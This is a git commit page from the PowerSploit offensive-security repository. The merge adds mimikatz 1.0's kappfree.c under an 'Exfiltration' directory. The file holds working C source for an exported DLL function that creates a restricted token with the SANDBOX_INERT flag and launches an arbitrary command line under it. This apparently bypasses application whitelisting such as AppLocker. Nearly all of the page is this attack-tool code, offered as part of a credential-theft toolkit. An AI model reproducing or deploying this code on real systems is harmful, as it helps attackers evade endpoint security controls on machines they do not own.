diff options
| author | Matt Graeber <mattgraeber@gmail.com> | 2013-10-01 14:29:34 -0700 |
|---|---|---|
| committer | Matt Graeber <mattgraeber@gmail.com> | 2013-10-01 14:29:34 -0700 |
| commit | 6ad050fe7a54ae7c47fda4505043df8efd82bc2e (patch) | |
| tree | 9c99d9aa042a4752991cfe8f0069c9a4823c8d42 /Exfiltration/mimikatz-1.0/kappfree/kappfree.c | |
| parent | 23850a6337bf79d02f68912e49df12f3cde4a8dd (diff) | |
| parent | 59cd18360764af6e6133ad11ec9cd8295372e587 (diff) | |
| download | PowerSploit-6ad050fe7a54ae7c47fda4505043df8efd82bc2e.tar.gz PowerSploit-6ad050fe7a54ae7c47fda4505043df8efd82bc2e.zip | |
Merge pull request #15 from clymb3r/master
Adding GitIgnore, adding Invoke-NinjaCopy and Invoke-Mimikatz
Diffstat (limited to 'Exfiltration/mimikatz-1.0/kappfree/kappfree.c')
| -rw-r--r-- | Exfiltration/mimikatz-1.0/kappfree/kappfree.c | 34 |
1 files changed, 34 insertions, 0 deletions
diff --git a/Exfiltration/mimikatz-1.0/kappfree/kappfree.c b/Exfiltration/mimikatz-1.0/kappfree/kappfree.c new file mode 100644 index 0000000..63130c9 --- /dev/null +++ b/Exfiltration/mimikatz-1.0/kappfree/kappfree.c @@ -0,0 +1,34 @@ +/* Benjamin DELPY `gentilkiwi` + http://blog.gentilkiwi.com + benjamin@gentilkiwi.com + Licence : http://creativecommons.org/licenses/by/3.0/fr/ +*/ +#include "kappfree.h" + +extern __declspec(dllexport) void __cdecl startW(HWND hwnd, HINSTANCE hinst, LPWSTR lpszCmdLine, int nCmdShow) +{ + HANDLE monToken, monSuperToken; + wchar_t * commandLine; + PROCESS_INFORMATION mesInfosProcess; + STARTUPINFO mesInfosDemarrer; + + if(OpenProcessToken(GetCurrentProcess(), TOKEN_ASSIGN_PRIMARY | TOKEN_DUPLICATE | TOKEN_QUERY /*| TOKEN_IMPERSONATE*/, &monToken)) + { + if(CreateRestrictedToken(monToken, SANDBOX_INERT, 0, NULL, 0, NULL, 0, NULL, &monSuperToken)) + { + RtlZeroMemory(&mesInfosProcess, sizeof(PROCESS_INFORMATION)); + RtlZeroMemory(&mesInfosDemarrer, sizeof(STARTUPINFO)); + mesInfosDemarrer.cb = sizeof(STARTUPINFO); + + commandLine = _wcsdup(lpszCmdLine); + if(CreateProcessAsUser(monSuperToken, NULL, commandLine, NULL, NULL, FALSE, CREATE_NEW_CONSOLE, NULL, NULL, &mesInfosDemarrer, &mesInfosProcess)) + { + CloseHandle(mesInfosProcess.hThread); + CloseHandle(mesInfosProcess.hProcess); + } + free(commandLine); + CloseHandle(monSuperToken); + } + CloseHandle(monToken); + } +} |